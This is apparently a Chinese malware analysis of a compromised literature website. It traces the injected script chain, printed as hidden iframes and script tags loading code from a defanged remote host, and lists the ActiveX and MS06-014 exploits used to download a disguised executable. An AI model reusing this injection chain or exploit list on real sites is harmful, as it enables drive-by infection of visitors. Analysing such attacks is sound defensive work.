某文学网站上挂的logo.jpg /logo.exe 更新了

简介: 某文学网站上挂的logo.jpg /logo.exe 更新了

网站首页 包含代码:

/---

<script src="ads/iw_t.js"></script>

---/

#1 ads/iw_t.js包含代码:

/---

<script src='/images/jin.gif'></script>

---/

#1.1 /images/jin.gif

输出代码:

/---

<script language="javascript" src="hxxp://w**w*.shi*t**ip.com/file/my.js"></script>

---/

#1.1.1 hxxp://w**w*.shi*t**ip.com/file/my.js 输出代码:

/---

<script language='javascript' src='hxxp://a**d.shi*t**ip.com/file/ad.js'></script>

---/

#1.1.1.1 hxxp://a**d.shi*t**ip.com/file/ad.js 输出代码:

/---

<iframe name='logo_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/logo.js'></script>

<iframe name='real2_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real2.js'></script>

<iframe name='real_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real.js'></script>

<iframe name='lz3_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz3.js'></script>

<iframe name='lz2_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz2.js'></script>

<iframe name='lz_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz.js'></script>

<iframe name='bf_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/bf.js'></script>

<iframe name='pps_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/pps.js'></script>

<iframe name='xunlei_if' width='25' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/xunlei.js'></script>

<iframe name='sdr_if' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/sdr.js'></script>

<iframe name='cif_' width='0' height='0'></iframe>

<script language='javascript' src='hxxp://count23.51yes.com/click.aspx?id=238288070&logo=1'></script>

---/

#1.1.1.1.1 hxxp://w**w*.shi*t**ip.com/file/logo.js

利用 MS06-014漏洞下载 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg


#1.1.1.1.2 hxxp://w**w*.shi*t**ip.com/file/real2.js

利用 RealPlayer(rmocx.RealPlayer RAM Download Handler.1,clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.3 hxxp://w**w*.shi*t**ip.com/file/real.js

利用 RealPlayer(IERPCtl.IERPCtl.1)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.4 hxxp://w**w*.shi*t**ip.com/file/lz3.js

利用 联众(HanGamePluginCn18.HanGamePluginCn18.1,clsid:61F5C358-60FB-4A23-A312-D2B556620F20)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.5 hxxp://w**w*.shi*t**ip.com/file/lz2.js

利用 联众(GLIEDown.IEDown.1,clsid:F917534D-535B-416B-8E8F-0C04756C31A8)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.6 hxxp://w**w*.shi*t**ip.com/file/lz.js

利用 联众(GLCHAT.GLChatCtrl.1,clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.7 hxxp://w**w*.shi*t**ip.com/file/bf.js

利用 暴风影音(MPS.StormPlayer,clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.8 hxxp://w**w*.shi*t**ip.com/file/pps.js

利用 PPStream(POWERPLAYER.PowerPlayerCtrl.1,clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458)漏洞 下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.9 hxxp://w**w*.shi*t**ip.com/file/xunlei.js

利用迅雷(PPlayer.XPPlayer.1,clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F)漏洞下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.10 hxxp://w**w*.shi*t**ip.com/file/sdr.js

利用超星阅览器(Pdg2,clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2)漏洞下载 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg


相关文章
|
19天前
|
存储 弹性计算 人工智能
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
2025年9月24日,阿里云弹性计算团队多位产品、技术专家及服务器团队技术专家共同在【2025云栖大会】现场带来了《通用计算产品发布与行业实践》的专场论坛,本论坛聚焦弹性计算多款通用算力产品发布。同时,ECS云服务器安全能力、资源售卖模式、计算AI助手等用户体验关键环节也宣布升级,让用云更简单、更智能。海尔三翼鸟云服务负责人刘建锋先生作为特邀嘉宾,莅临现场分享了关于阿里云ECS g9i推动AIoT平台的场景落地实践。
【2025云栖精华内容】 打造持续领先,全球覆盖的澎湃算力底座——通用计算产品发布与行业实践专场回顾
|
11天前
|
云安全 人工智能 安全
Dify平台集成阿里云AI安全护栏,构建AI Runtime安全防线
阿里云 AI 安全护栏加入Dify平台,打造可信赖的 AI
|
14天前
|
人工智能 运维 Java
Spring AI Alibaba Admin 开源!以数据为中心的 Agent 开发平台
Spring AI Alibaba Admin 正式发布!一站式实现 Prompt 管理、动态热更新、评测集构建、自动化评估与全链路可观测,助力企业高效构建可信赖的 AI Agent 应用。开源共建,现已上线!
1179 40
|
13天前
|
机器学习/深度学习 人工智能 搜索推荐
万字长文深度解析最新Deep Research技术:前沿架构、核心技术与未来展望
近期发生了什么自 2025 年 2 月 OpenAI 正式发布Deep Research以来,深度研究/深度搜索(Deep Research / Deep Search)正在成为信息检索与知识工作的全新范式:系统以多步推理驱动大规模联网检索、跨源证据。
913 57
|
11天前
|
文字识别 测试技术 开发者
Qwen3-VL新成员 2B、32B来啦!更适合开发者体质
Qwen3-VL家族重磅推出2B与32B双版本,轻量高效与超强推理兼备,一模型通吃多模态与纯文本任务!
787 11
|
5天前
|
人工智能 数据可视化 Java
Spring AI Alibaba、Dify、LangGraph 与 LangChain 综合对比分析报告
本报告对比Spring AI Alibaba、Dify、LangGraph与LangChain四大AI开发框架,涵盖架构、性能、生态及适用场景。数据截至2025年10月,基于公开资料分析,实际发展可能随技术演进调整。
367 5